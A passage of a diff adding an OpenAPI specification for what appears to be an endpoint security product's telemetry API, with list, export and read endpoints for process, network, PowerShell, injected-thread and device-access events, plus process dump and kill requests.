+          "9": "NO_PERMISSION",
+          "255": "UNKNOWN_ERROR"
+        }
+      operationId: data_telemetry_File_request_file_upload
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DownloadRequest'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DownloadRequestResponse'
+      tags:
+        - telemetry
+  /data/telemetry/File/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_File_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/File'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/FileDownload/:
+    get:
+      description: ""
+      operationId: data_telemetry_FileDownload_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/File'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/FileDownload/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_FileDownload_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/FileDownload/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_FileDownload_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/File'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/FullEventLog/:
+    get:
+      description: ""
+      operationId: data_telemetry_FullEventLog_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/FullEventLog'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/FullEventLog/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_FullEventLog_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/FullEventLog/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_FullEventLog_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/FullEventLog'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/FullEventLogAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_telemetry_FullEventLogAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/FullEventLog'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/FullEventLogAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_FullEventLogAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/FullEventLogAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_FullEventLogAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/FullEventLog'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/Group/:
+    get:
+      description: ""
+      operationId: data_telemetry_Group_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/GroupEvent'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/Group/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_Group_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/Group/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_Group_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GroupEvent'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/InjectedThread/:
+    get:
+      description: ""
+      operationId: data_telemetry_InjectedThread_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/InjectedThread'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/InjectedThread/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_InjectedThread_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/InjectedThread/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_InjectedThread_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/InjectedThread'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/InjectedThread/{id}/disassemble/:
+    get:
+      description: ""
+      operationId: data_telemetry_InjectedThread_disassemble
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/InjectedThread'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/InjectedThread/{id}/download/:
+    get:
+      description: ""
+      operationId: data_telemetry_InjectedThread_download
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/InjectedThread'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/KubePodEvent/:
+    get:
+      description: ""
+      operationId: data_telemetry_KubePodEvent_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ECSTelemetry'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/KubePodEvent/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_KubePodEvent_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/KubePodEvent/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_KubePodEvent_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ECSTelemetry'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/LibraryLoad/:
+    get:
+      description: ""
+      operationId: data_telemetry_LibraryLoad_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/LibraryLoad'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/LibraryLoad/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_LibraryLoad_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/LibraryLoad/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_LibraryLoad_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/LibraryLoad'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/NamedPipe/:
+    get:
+      description: ""
+      operationId: data_telemetry_NamedPipe_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/NamedPipe'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/NamedPipe/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_NamedPipe_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/NamedPipe/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_NamedPipe_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NamedPipe'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/Network/:
+    get:
+      description: ""
+      operationId: data_telemetry_Network_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - default: false
+          in: query
+          name: add_dns_resolution
+          required: false
+          type: boolean
+        - default: false
+          in: query
+          name: exclude_local_connections
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Network'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/Network/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_Network_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/Network/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_Network_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Network'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/NetworkListen/:
+    get:
+      description: ""
+      operationId: data_telemetry_NetworkListen_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/NetworkListen'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/NetworkListen/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_NetworkListen_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/NetworkListen/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_NetworkListen_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetworkListen'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/Powershell/:
+    get:
+      description: ""
+      operationId: data_telemetry_Powershell_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Powershell'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/Powershell/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_Powershell_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/Powershell/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_Powershell_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Powershell'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/ProcessAccess/:
+    get:
+      description: ""
+      operationId: data_telemetry_ProcessAccess_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ProcessAccess'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/ProcessAccess/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_ProcessAccess_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/ProcessAccess/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_ProcessAccess_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ProcessAccess'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/ProcessDuplicateHandle/:
+    get:
+      description: ""
+      operationId: data_telemetry_ProcessDuplicateHandle_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ECSTelemetry'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/ProcessDuplicateHandle/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_ProcessDuplicateHandle_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/ProcessDuplicateHandle/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_ProcessDuplicateHandle_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ECSTelemetry'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/ProcessTamper/:
+    get:
+      description: ""
+      operationId: data_telemetry_ProcessTamper_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ProcessTamper'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/ProcessTamper/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_ProcessTamper_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/ProcessTamper/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_ProcessTamper_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ProcessTamper'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/Processes/:
+    get:
+      description: ""
+      operationId: data_telemetry_Processes_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/DocProcessesSerializer'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/Processes/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_Processes_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/Processes/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_Processes_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DocProcessesSerializer'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/Processes/{id}/graph/:
+    get:
+      description: ""
+      operationId: data_telemetry_Processes_graph
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ProcessesGraph'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/Processes/{id}/requestDumpProcess/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_telemetry_Processes_request_dump_process
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DocProcessesSerializer'
+        - in: query
+          name: pid
+          required: true
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - telemetry
+  /data/telemetry/Processes/{id}/requestKillProcess/:
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_telemetry_Processes_request_kill_process
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DocProcessesSerializer'
+        - in: query
+          name: pid
+          required: true
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - telemetry
+  /data/telemetry/Processes/{id}/tree/:
+    get:
+      description: ""
+      operationId: data_telemetry_Processes_tree
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DocProcessesSerializer'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/telemetry/RawDeviceAccess/:
+    get:
+      description: ""
+      operationId: data_telemetry_RawDeviceAccess_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/RawDeviceAccess'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/RawDeviceAccess/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_telemetry_RawDeviceAccess_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - telemetry
+    parameters: []
+  /data/telemetry/RawDeviceAccess/{id}/:
+    get:
+      description: ""
+      operationId: data_telemetry_RawDeviceAccess_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RawDeviceAccess'
+      tags:
+        - telemetry
+    parameters:
+      - in: path
+        name: id
